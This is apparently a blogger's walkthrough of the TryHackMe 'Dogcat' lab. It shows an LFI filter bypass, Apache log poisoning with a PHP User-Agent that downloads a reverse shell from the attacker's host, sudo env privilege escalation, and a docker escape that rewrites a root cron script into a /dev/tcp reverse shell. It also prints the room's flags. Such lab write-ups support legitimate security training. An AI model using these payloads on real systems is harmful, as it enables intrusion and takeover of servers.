Dogcat

Initial Enumeration

This is another fun room I found on Tryhackme. I have more time on the weekends to gear up for my OSCP exam so anything Medium, Hard, Insane I do on the weekends. Here we can exploit a PHP application via LFI and break out of a docker container.

This looks like an easy box. LFI’s are typically easy to find and exploit.

Let’s go with a rust scan:


.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
Open 10.10.155.23:22
Open 10.10.155.23:80
[~] Starting Script(s)
[~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-27 22:06 UTC
Initiating Ping Scan at 22:06
Scanning 10.10.155.23 [2 ports]
Completed Ping Scan at 22:06, 0.27s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:06
Completed Parallel DNS resolution of 1 host. at 22:06, 0.01s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 22:06
Scanning 10.10.155.23 [2 ports]
Discovered open port 80/tcp on 10.10.155.23
Discovered open port 22/tcp on 10.10.155.23
Completed Connect Scan at 22:06, 0.27s elapsed (2 total ports)
Nmap scan report for 10.10.155.23
Host is up, received syn-ack (0.27s latency).
Scanned at 2023-10-27 22:06:42 UTC for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.59 seconds

And NMAP for good measure for details on the ports we found open, and we’ll enumerate versions while we are at it:

kali@kalia  ~/curr  nmap -sC -sV -p 22,80 $IP
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-28 07:08 JST
Nmap scan report for 10.10.155.23
Host is up (0.27s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 24:31:19:2a:b1:97:1a:04:4e:2c:36:ac:84:0a:75:87 (RSA)
|   256 21:3d:46:18:93:aa:f9:e7:c9:b5:4c:0f:16:0b:71:e1 (ECDSA)
|_  256 c1:fb:7d:73:2b:57:4a:8b:dc:d7:6f:49:bb:3b:d0:20 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: dogcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.20 seconds

The statement on the room seems quite evident. We should be looking at the website which is PHP and there should be some LFI.

Local File Inclusion (LFI) is when local files are passed to the incude statement of PHP in this case without being properly sanitized. So we could test this by finding pages that take filenames as parameters.

First I added dogcat.thm to my /etc/hosts file.

Next check out the website:

And the source:

<!DOCTYPE HTML>
<html>

<head>
    <title>dogcat</title>
    <link rel="stylesheet" type="text/css" href="[/style.css](view-source:http://dogcat.thm/style.css)">
</head>

<body>
    <h1>dogcat</h1>
    <i>a gallery of various dogs or cats</i>

    <div>
        <h2>What would you like to see?</h2>
        <a href="[/?view=dog](view-source:http://dogcat.thm/?view=dog)"><button id="dog">A dog</button></a> <a href="[/?view=cat](view-source:http://dogcat.thm/?view=cat)"><button id="cat">A cat</button></a><br>
            </div>
</body>

</html>

If we want to test some simple LFI, we can try to use something like:
http://dogcat.thm/?view=../../../../etc/passwd

We see:

So there’s something filtering there. We can try some simple fuzzing to see if we can bypass that filter.

I’ve tried a number of LFI fuzzing techniques and most of them are not working. It almost certainly has to include the cat or dog for button when we pass the call to the web server.

So we may be able to use base64 to use the name cat or dog when passing what we want to see:
GET /?view=php://filter/convert.base64-encode/cat/resource=index HTTP/1.1

For example:

And here is a rendered view:

So let’s take that BASE64 encoded string and put it in CyberChef:

Now we can see the unencoded index file we grabbed. The interesting parts are in the php script:

<?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
	    $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>

There is a line there starting with $ext which appends a .php file extention to everything we ask for. This is why we were getting an error.

We should be able to just add that ext= to the end of our query to bypass it.

So we take the result and put it in CyberChef:

This converts the base64.

Now that we know that we can bypass their filter simply by adding the ext= to the end, we don’t need our base64 though. Let’s just go back to the browser and run it like this:
../../../../etc/cat/../passwd&ext=

The reason we include cat there is because the source code says:

if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {

So if we are saying the request includes dog OR cat to get that file.

And the source:

<!DOCTYPE HTML>
<html>

<head>
    <title>dogcat</title>
    <link rel="stylesheet" type="text/css" href="[/style.css](view-source:http://dogcat.thm/style.css)">
</head>

<body>
    <h1>dogcat</h1>
    <i>a gallery of various dogs or cats</i>

    <div>
        <h2>What would you like to see?</h2>
        <a href="[/?view=dog](view-source:http://dogcat.thm/?view=dog)"><button id="dog">A dog</button></a> <a href="[/?view=cat](view-source:http://dogcat.thm/?view=cat)"><button id="cat">A cat</button></a><br>
        Here you go!root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
    </div>
</body>

</html>

Yay! It works!

If we look here, none of the accounts in /etc/passwd have a shell. (i.e. they all say nologin) I have never seen this in real life but hey 🙂

We are going to be forced to get a php reverse shell here.

So let’s see if anything we are doing is being logged to apache logs.
If we go here:
view-source:http://dogcat.thm/?view=../../../../var/log/apache2/cat/../access.log&ext=

We look at this excerpt from the log:

This tells us that our commands are getting URL encoded, so getting a php reverse shell will be more difficult. However, the User Agent, which we can control is NOT URL encoded.

Maybe we can manipulate that to pull our php-reverse-shell and run it.

So I want to get a few things ready. We need to get a copy of the php-reverse-shell.php from Pentestmonkey and then modify the IP and port then we can host it:

 kali@kalia  ~/curr/source  cp /home/kali/scripts/php-reverse-shell.php .                      
 kali@kalia  ~/curr/source  ls                      
php-reverse-shell.php
kali@kalia  ~/curr/source  mv php-reverse-shell.php shell.php  

kali@kalia  ~/curr/source  vi
# -- make changes and save
 kali@kalia  ~/curr/source  python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Then with BurpSuite we can send a new request with the modified user agent to pull our reverse shell:

GET /?view=../../../var/log/apache2/cat/../access.log&ext= HTTP/1.1
Host: dogcat.thm
User-Agent: <?php file_put_contents('shell.php',file_get_contents('http://10.18.10.150/shell.php'))?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1

NOTE: Be SURE your top GET request is for the log file we are trying to poison with our modified User agent or this won’t work.

Next you should see the hit on your python webserver:

python3 -m http.server 80         
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

10.10.155.23 - - [28/Oct/2023 08:36:37] "GET /shell.php HTTP/1.0" 200 -

Now the malicious shell script has been successfully pulled to Target host.

Let’s start up a reverse shell listener and then activate it by visiting the URL.
http://dogcat.thm/shell.php

 kali@kalia  ~  ~/bin/revs 4444                  
Starting reverse shell on port 4444
python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL+Z - Background shell
stty raw -echo; fg
export TERM=xterm
listening on [any] 4444 ...

NOTE: In case your wondering what revs is, I made a script that handles the reverse shell and spits out those instructions incase you forget how to stabilize the shell. Anything to save time is good. If you want a copy, check my github account.

Hit the URL:
http://dogcat.thm/shell.php

Then we can catch our shell:

 kali@kalia  ~  ~/bin/revs 4444                  
Starting reverse shell on port 4444
python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL+Z - Background shell
stty raw -echo; fg
export TERM=xterm
listening on [any] 4444 ...
connect to [10.18.10.150] from (UNKNOWN) [10.10.155.23] 35322
Linux 4d8258e6405d 4.15.0-96-generic #97-Ubuntu SMP Wed Apr 1 03:25:46 UTC 2020 x86_64 GNU/Linux
 23:37:11 up  1:33,  0 users,  load average: 0.02, 0.05, 0.01
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

Ok, we got our shell. Let’s look around for flags:

$ ls
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ pwd
/
$ cd /var/www
$ ls
flag2_QMW7JvaY2LvK.txt
html
$ cat flag2_QMW7JvaY2LvK.txt
THM{LF1_t0_RC3_aec3fb}

There is Flag #2.

Continuing:

$ cd html 
$ ls
cat.php
cats
dog.php
dogs
flag.php
index.php
php-reverse-shell.php
shell.php
style.css
$ cat flag.php
<?php
$flag_1 = "THM{Th1s_1s_N0t_4_Catdog_ab67edfa}"
?>

I guess we could have specified the file ‘flag’ and gotten this first flag from the Browser. Anyway, there is Flag #1.

Privesc

From here I check sudo -l to see what permissions we have for sudo:

$ sudo -l
Matching Defaults entries for www-data on 4d8258e6405d:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on 4d8258e6405d:
    (root) NOPASSWD: /usr/bin/env

Well that’s an easy privesc. You can search it on gtfobins but call it like this:

$ sudo env /bin/sh

ads
/bin/sh: 2: ads: not found
whoami
root
cd /root
ls
flag3.txt
cat flag3.txt
THM{D1ff3r3nt_3nv1ronments_874112}

Right. There is Flag #3.

Ok at this point we have root, but there is 1 more flag. I recall seeing something about Docker on the room title. Maybe something there.

The following 2 commands confirms that we are indeed in a docker container:

ls -la /.dockerenv
-rwxr-xr-x 1 root root 0 Oct 27 22:04 /.dockerenv

hostname
4d8258e6405d

So there is a very easy way to normally escape a docker container:

docker -H 127.0.0.1:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cd /mnt//bin/sh: 12: docker: not found
pwd
/bin/sh: 13: cd: can't cd to /mnt/pwd

pwd
/root

Looks like we don’t have access to the docker binary to spin up a new copy of alpine.

Let’s see if we can find docker:

find / -name docker
/etc/dpkg/dpkg.cfg.d/docker
find: '/proc/16/map_files': Permission denied
find: '/proc/17/map_files': Permission denied
find: '/proc/18/map_files': Permission denied
find: '/proc/19/map_files': Permission denied
find: '/proc/20/map_files': Permission denied
find: '/proc/63/map_files': Permission denied
find: '/proc/136/map_files': Permission denied
find: '/proc/1116/map_files': Permission denied
find: '/proc/1120/map_files': Permission denied
find: '/proc/1254/map_files': Permission denied

Hmm.. ok so maybe there’s another way to do this. Let me look around.

After a fair bit of prodding around. I found this:

find / -type f -mmin -2 |grep -v 'proc' | grep -v 'sys'
find: '/proc/16/map_files': Permission denied
find: '/proc/17/map_files': Permission denied
find: '/proc/18/map_files': Permission denied
find: '/proc/19/map_files': Permission denied
find: '/proc/20/map_files': Permission denied
find: '/proc/63/map_files': Permission denied
find: '/proc/136/map_files': Permission denied
find: '/proc/1116/map_files': Permission denied
find: '/proc/1120/map_files': Permission denied
find: '/proc/1254/map_files': Permission denied
find: '/proc/1593/task/1593/fdinfo/6': No such file or directory
find: '/proc/1593/fdinfo/5': No such file or directory
/opt/backups/backup.tar
/var/log/apache2/access.log

It looks like that /opt/backups/backup.tar is getting created every min or so.

cd /opt/backups
ls -al
total 2892
drwxr-xr-x 2 root root    4096 Apr  8  2020 .
drwxr-xr-x 1 root root    4096 Oct 27 22:04 ..
-rwxr--r-- 1 root root      69 Mar 10  2020 backup.sh
-rw-r--r-- 1 root root 2949120 Oct 28 00:14 backup.tar

There seems to be a backup script here running once a min. I’m not sure where it’s running since it’s not in the /etc/crontab and it’s also not under anything in /etc/cron.daily.

ls -al
total 2892
drwxr-xr-x 2 root root    4096 Apr  8  2020 .
drwxr-xr-x 1 root root    4096 Oct 27 22:04 ..
-rwxr--r-- 1 root root      69 Mar 10  2020 backup.sh
-rw-r--r-- 1 root root 2949120 Oct 28 00:15 backup.tar

My script searched for files updated in the last 2 mins less the standard constantly changing system files. That check shows indeed that the backup.tar file is getting created once a min. Let’s check the .sh shell script:

cat backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container

Ya it’s just a basic shell script running as root and since we are root we can modify it.

Let’s start another reverse shell listener on our Attacking box:

 kali@kalia  ~  ~/bin/revs 4445 
Starting reverse shell on port 4445
python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL+Z - Background shell
stty raw -echo; fg
export TERM=xterm
listening on [any] 4445 ...

Now we can change that .sh script file to send us a reverse shell.
This is the file way I did it:

cp backup.sh backup.sh.old
ls
backup.sh
backup.sh.old
backup.tar
echo "#!/bin/bash" > backup.sh
echo "bash -i >& /dev/tcp/10.18.10.150/4445 0>&1" >> backup.sh
cat backup.sh
#!/bin/bash
bash -i >& /dev/tcp/10.18.10.150/4445 0>&1

Oddly I tried this without the intial echo of bash’s shebang but it wouldn’t work. I did it this way and it was fine. Notice the first > redirect there is only one. This one wipes the file and writes. The 2nd time I use a double >> which appends to the file the reverse shell.

And then we wait..

kali@kalia  ~  ~/bin/revs 4445 
Starting reverse shell on port 4445
python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL+Z - Background shell
stty raw -echo; fg
export TERM=xterm
listening on [any] 4445 ...
connect to [10.18.10.150] from (UNKNOWN) [10.10.155.23] 51844
bash: cannot set terminal process group (8817): Inappropriate ioctl for device
bash: no job control in this shell
root@dogcat:~# 

Now we have a root shell on the machine itself.

root@dogcat:~# ls
ls
container
flag4.txt
root@dogcat:~# cat flag4.txt
cat flag4.txt
THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}

Conclusion

This was a pretty easy room. I did like that idea of the log poisoning. I don’t often see that on a simple LFI room, nice touch. It made me think 🙂 I thought it was going to be easier than that.

I was also happy it wasn’t a simple docker breakout. I had to search a bit to find that backup script running. A lot of times the standard binaries (Living off the Land) on the box can help you a lot without having to rely on the PEAS scripts etc.

I had a lot of fun doing this.

Initial Difficulty: 6/10
Overall Difficulty: 5/10
Fun Level: 8/10